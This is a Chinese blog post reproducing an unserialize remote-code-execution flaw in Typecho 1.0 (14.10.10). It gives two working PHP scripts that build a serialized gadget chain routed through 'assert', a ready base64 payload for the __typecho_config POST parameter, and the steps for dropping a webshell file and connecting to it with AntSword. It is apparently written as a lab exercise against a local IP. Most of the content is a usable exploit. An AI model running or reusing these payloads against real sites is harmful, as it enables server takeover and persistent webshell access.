• 【漏洞复现】typecho_v1.0-14.10.10_unserialize


    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

    文章目录

    下载链接:https://pan.baidu.com/s/1z0w7ret-uXHMuOZpGYDVlw
    提取码:lt7a

    首页

    在这里插入图片描述

    漏洞点:/install.php?finish=

    漏洞利用

    漏洞利用脚本 phpinfo()信息

    
         //typecho_1.0(14.10.10)_unserialize_phpinfo.php
    class Typecho_Feed{
    	const RSS1 = 'RSS 1.0';
    	const RSS2 = 'RSS 2.0';
    	const ATOM1 = 'ATOM 1.0';
       	const DATE_RFC822 = 'r';
    	const DATE_W3CDTF = 'c';
    	const EOL = "\n";
    	private $_type;
    	private $_items;
    	
    	public function __construct(){
    		$this->_type = $this::RSS2;
    		$this->_items[0] = array(
    			'title' => '1',
    			'link' => '1',
    			'date' => 1508895132,
    			'category' => array(new Typecho_Request()),
    			'author' => new Typecho_Request(),
    		);
    	}
    }
    
    class Typecho_Request{
    	private $_params = array();
    	private $_filter = array();
    
    	public function __construct(){
    		$this->_params['screenName'] = 'phpinfo()';
    		$this->_filter[0] = 'assert';
        }
    }
    
    $exp = array(
    	'adapter' => new Typecho_Feed(),
    	'prefix' => 'typecho_'
    );
    
    echo base64_encode(serialize($exp));
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    在这里插入图片描述

    得到base64编码后的结果

    YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30
    
    • 1

    请求体参数是__typecho_config=,上面base64编码后的结果就是该参数的值

    在这里插入图片描述

    GetShell

    payload如下:

    
        //typecho_1.0(14.10.10)_unserialize_GetShell.php
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();
    
        public function __construct()
        {
            $this->_params['screenName'] = 'file_put_contents(\'123.php\',\'\')';
            $this->_filter[0] = 'assert';
        }
    }
    
    class Typecho_Feed
    {
        private $_type;
        private $_items = array();
        public $dateFormat;
    
        public function __construct()
        {
            $this->_type = 'ATOM 1.0';
            $item['author'] = new Typecho_Request();
            $this->_items[0] = $item;
        }
    }
    
    $x = new Typecho_Feed();
    $a = array(
        'adapter' => $x,
        'prefix' => 'typecho_'
    );
    echo "
    ";
    print_r($a);
    echo "
    "
    ; echo serialize($a)."
    "
    ; echo "__typecho_config=".base64_encode(serialize($a)); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    在这里插入图片描述

    http://192.168.80.140/typecho_1.0(14.10.10)/build/install.php?finish=

    传递post参数__typecho_config

    在这里插入图片描述

    点击执行,返回 状态码500

    在这里插入图片描述

    这个时候在网站的根目录下生成一个123.php一句话木马文件

    在这里插入图片描述

    浏览器访问一下这个123.php文件

    然后使用蚁剑连接

    在这里插入图片描述

  • 相关阅读:
    Linux下安装和使用MySQL的详细教程
    AMBA-CHI协议详解(三)
    (附源码)springboot 社区疫苗接种管理系统 毕业设计 281442
    常见的编码及哈希算法
    增量模型和迭代模型的优点与缺点
    Java 程序设计报告[对接java的迭代器接口]
    【Redis学习笔记】第七章 Redis事务
    老年少女测试媛入职感想
    C编译器01-扫描器
    h5上传图片并裁剪
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/134229445